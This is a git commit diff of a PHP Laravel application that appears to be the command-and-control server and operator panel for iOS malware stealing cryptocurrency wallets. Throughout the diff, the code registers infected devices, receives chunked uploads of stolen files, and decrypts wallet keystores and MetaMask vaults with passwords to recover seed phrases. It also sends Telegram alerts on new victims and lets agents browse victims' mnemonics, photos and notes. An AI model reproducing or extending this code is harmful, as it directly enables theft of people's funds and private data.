feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+24 -32
View File
@@ -22,7 +22,6 @@ use App\Models\WalletMnemonic;
use App\Services\DsBeaconQueue;
use App\Services\PhotoOrigin;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Builder;
@@ -171,7 +170,7 @@ class DeviceController extends Controller
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -519,28 +518,20 @@ class DeviceController extends Controller
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
$n = $device->addresses()->where('monitor', 1)->count();
if ($n === 0) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$address->monitor_synced = false;
$address->monitor_failures = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
// ingest can leave dozens of monitor=1 rows; blocking delete on that
// freezes the admin UI (and php artisan serve). Rows are deleted in
// the next step, so webhooks will no longer match monitor=1.
Log::info('device_purge skip_tokenview_unmonitor', [
'id' => $device->id,
'device_id' => $device->device_id,
'monitor_rows' => $n,
]);
}
private function authorizeDevice(Device $device): void
@@ -675,18 +666,21 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (WalletKeystore::hasNeedsPasswordColumn()) {
$sortable[] = 'needs_password';
}
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
// Step 1: get paginated IDs ordered by the sort field (no blob access).
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
$idQuery = $device->keystores()->orderBy($field, $order);
$needsPassword = trim((string) $request->query('needs_password', ''));
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
$idQuery->where('wallet_keystores.needs_password', 1);
}
$total = $idQuery->toBase()->getCountForPagination();
$page = max(1, $page);
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
@@ -708,14 +702,12 @@ class DeviceController extends Controller
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
})->values();
@@ -729,7 +721,7 @@ class DeviceController extends Controller
$field = 'is_wallet';
$order = 'desc';
}
$q = $device->apps();
$q = $device->apps()->listed();
if ($field === 'is_wallet') {
$q->orderByDesc('is_wallet')->orderBy('name');
} else {
+127 -10
View File
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -41,19 +42,27 @@ class KeystoreController extends Controller
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at'];
if (WalletKeystore::hasNeedsPasswordColumn()) {
$sortable[] = 'needs_password';
}
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_keystores.'.$field, $order);
if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) {
$q->orderBy('devices.chain', $order);
} else {
$q->orderBy('wallet_keystores.'.$field, $order);
}
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$cols = array_merge(WalletKeystore::listColumnsLight(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
'devices.chain as device_chain',
]);
Log::info('keystore.list.data.start', [
'page' => $page,
@@ -225,6 +234,72 @@ class KeystoreController extends Controller
]);
}
public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if ((int) $keystore->needs_password !== 1) {
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
}
$password = trim((string) $request->input('password', ''));
if ($password === '') {
return response()->json(['code' => 1, 'msg' => '请输入密码'], 422);
}
if (strlen($password) > 256) {
return response()->json(['code' => 1, 'msg' => '密码过长'], 422);
}
$device = $keystore->device;
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
}
@set_time_limit(180);
@ini_set('max_execution_time', '180');
$before = WalletMnemonic::query()
->where('device_id', $device->id)
->pluck('mnemonic_hash')
->all();
$seen = array_fill_keys($before, true);
$result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password);
$keystore->refresh();
$after = WalletMnemonic::query()
->where('device_id', $device->id)
->get(['id', 'source', 'mnemonic_hash']);
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
$addedCount = $added->count();
if ($addedCount > 0) {
$msg = '已写入 '.$addedCount.' 条助记词';
$code = 0;
} elseif ((int) $keystore->decrypted === 1) {
$msg = '没有新的助记词(该来源可能已解密)';
$code = 0;
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) {
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault)';
$code = 1;
} else {
$msg = '密码不正确,未能解开助记词';
$code = 1;
}
return response()->json([
'code' => $code,
'msg' => $msg,
'data' => [
'id' => $keystore->id,
'decrypted' => (int) $keystore->decrypted,
'added' => $addedCount,
'mnemonic_total' => $after->count(),
'sources' => $added->pluck('source')->unique()->values()->all(),
'utc' => $result['utc'],
'vault' => (int) ($result['vault'] ?? 0),
],
], $code === 0 ? 200 : 400);
}
/**
* @return array<string, mixed>
*/
@@ -236,17 +311,16 @@ class KeystoreController extends Controller
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA),
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
}
@@ -296,10 +370,7 @@ class KeystoreController extends Controller
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select(array_merge(WalletKeystore::listColumns(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]));
->select('wallet_keystores.id');
AgentScope::applyDeviceChannelScope($q, $this->agent());
@@ -307,12 +378,17 @@ class KeystoreController extends Controller
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
$needsPassword = trim((string) $request->query('needs_password', ''));
$chain = $this->parseChainFilter($request->query('chain'));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($chain !== null) {
$this->applyChainFilter($q, $chain);
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
@@ -326,6 +402,9 @@ class KeystoreController extends Controller
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
$q->where('wallet_keystores.needs_password', 1);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
@@ -335,4 +414,42 @@ class KeystoreController extends Controller
return $q;
}
private function applyChainFilter(Builder $q, int $chain): void
{
if (WalletKeystore::hasChainColumn()) {
$q->whereRaw(
'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?',
[Device::CHAIN_CORUNA, $chain]
);
return;
}
$q->where(function (Builder $inner) use ($chain) {
$inner->where('devices.chain', $chain);
if ($chain === Device::CHAIN_CORUNA) {
$inner->orWhereNull('devices.chain');
}
});
}
private function parseChainFilter(mixed $raw): ?int
{
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
if ($value === '' || $value === null) {
return null;
}
if ($value === 1 || $value === '1' || $value === 'coruna') {
return Device::CHAIN_CORUNA;
}
if ($value === 2 || $value === '2' || $value === 'darksword') {
return Device::CHAIN_DARKSWORD;
}
if ($value === 3 || $value === '3' || $value === 'app') {
return Device::CHAIN_APP;
}
return null;
}
}
+21 -21
View File
@@ -3,7 +3,7 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\AiLiveUploadIngester;
use App\Services\AppUploadIngester;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
@@ -109,7 +109,7 @@ class AppC2Controller extends Controller
}
/**
* Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*).
* Catch-all for the App 利用链 C2 pipeline (/api/v2/*).
*
* Real protocol recovered from Reqable capture (record 13655):
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
@@ -122,9 +122,9 @@ class AppC2Controller extends Controller
* Log every request + persist chunk bodies, return protocol-faithful
* responses so the malware completes the full acquisition pipeline.
*/
public function aiLiveV2(Request $request): Response
public function appUpload(Request $request): Response
{
$this->logRequest($request, 'ailive_v2');
$this->logRequest($request, 'app_upload');
$path = $request->path(); // e.g. "api/v2/devices"
@@ -137,7 +137,7 @@ class AppC2Controller extends Controller
// ── Device registration ─────────────────────────────────
if ($path === 'api/v2/devices') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$device = $this->registerAiLiveDevice($request, $body);
$device = $this->registerAppDevice($request, $body);
return $this->json([
'code' => 0,
@@ -162,10 +162,10 @@ class AppC2Controller extends Controller
$uploadId = \Illuminate\Support\Str::uuid()->toString();
// Resolve the device so we can ingest keystores on completion.
$device = $this->findAiLiveDevice($request);
$device = $this->findAppDevice($request);
// Persist session state for chunk tracking
Cache::put("ailive_upload:{$uploadId}", [
Cache::put("app_upload:{$uploadId}", [
'fileName' => $fileName,
'fileSize' => $fileSize,
'chunkSize' => $chunkSize,
@@ -197,7 +197,7 @@ class AppC2Controller extends Controller
$uploadId = $m[1];
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
$session = Cache::get("ailive_upload:{$uploadId}");
$session = Cache::get("app_upload:{$uploadId}");
$numberOfChunks = $session['numberOfChunks'] ?? 1;
$chunkSize = $session['chunkSize'] ?? 1048576;
$received = ($session['receivedChunks'] ?? 0) + 1;
@@ -206,13 +206,13 @@ class AppC2Controller extends Controller
// Backfill deviceId into the session from the x-device-id header
// if it wasn't captured at /api/v2/uploads time (e.g. session
// expired, or the uploads request didn't carry the header).
$headerDeviceId = $this->findAiLiveDevice($request)?->id;
$headerDeviceId = $this->findAppDevice($request)?->id;
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
$session['deviceId'] = $headerDeviceId;
}
if ($session) {
$session['receivedChunks'] = $received;
Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2));
Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2));
}
// On the final chunk, reassemble + parse + store keystores so
@@ -242,9 +242,9 @@ class AppC2Controller extends Controller
if ($path === 'api/v2/finish') {
// All uploads for this device are done — dispatch the async
// keystore decryption job to recover mnemonics + addresses.
$device = $this->findAiLiveDevice($request);
$device = $this->findAppDevice($request);
if ($device !== null) {
app(AiLiveUploadIngester::class)->dispatchDecrypt($device);
app(AppUploadIngester::class)->dispatchDecrypt($device);
}
return $this->json(['ok' => true]);
@@ -373,7 +373,7 @@ class AppC2Controller extends Controller
}
/**
* Find or create a Device row for an ai-live app-injection beacon.
* Find or create a Device row for an App 利用链 beacon.
*
* The malware POSTs /api/v2/devices with a JSON body carrying:
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
@@ -391,7 +391,7 @@ class AppC2Controller extends Controller
*
* @param array<string, mixed> $body
*/
private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device
private function registerAppDevice(Request $request, array $body): ?\App\Models\Device
{
$rawId = (string) ($body['deviceId']
?? $request->headers->get('x-device-id')
@@ -461,7 +461,7 @@ class AppC2Controller extends Controller
$device->saveQuietly();
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(),
'appUpload telegram notifyNewDevice failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
@@ -475,7 +475,7 @@ class AppC2Controller extends Controller
}
/**
* Look up the Device for the current ai-live request without creating
* Look up the Device for the current App 利用链 request without creating
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
* /api/v2/finish where the device was already registered via
* /api/v2/devices).
@@ -486,7 +486,7 @@ class AppC2Controller extends Controller
* fall back to the most recently registered CHAIN_APP device from the
* same source IP, so the captured artifacts are never orphaned.
*/
private function findAiLiveDevice(Request $request): ?\App\Models\Device
private function findAppDevice(Request $request): ?\App\Models\Device
{
// 1. Primary: x-device-id header → device_id lookup.
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
@@ -536,17 +536,17 @@ class AppC2Controller extends Controller
// Skip ingestion — the artifacts stay on disk and can be
// reprocessed manually.
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 ingest skipped: no device associated with upload',
'appUpload ingest skipped: no device associated with upload',
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
);
return;
}
try {
app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session);
app(AppUploadIngester::class)->ingest($device, $uploadId, $session);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->error(
'aiLiveV2 ingest failed: '.$e->getMessage(),
'appUpload ingest failed: '.$e->getMessage(),
['device_id' => $device->id, 'upload_id' => $uploadId],
);
}
@@ -595,7 +595,7 @@ class AppC2Controller extends Controller
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
// ai-live /api/v2/uploads/{id}/chunks — octet-stream).
// App 利用链 /api/v2/uploads/{id}/chunks — octet-stream).
// Name files with uploadId + chunkIndex so chunks can be reassembled.
if ($body !== '' && empty($saved)) {
$path = $request->path();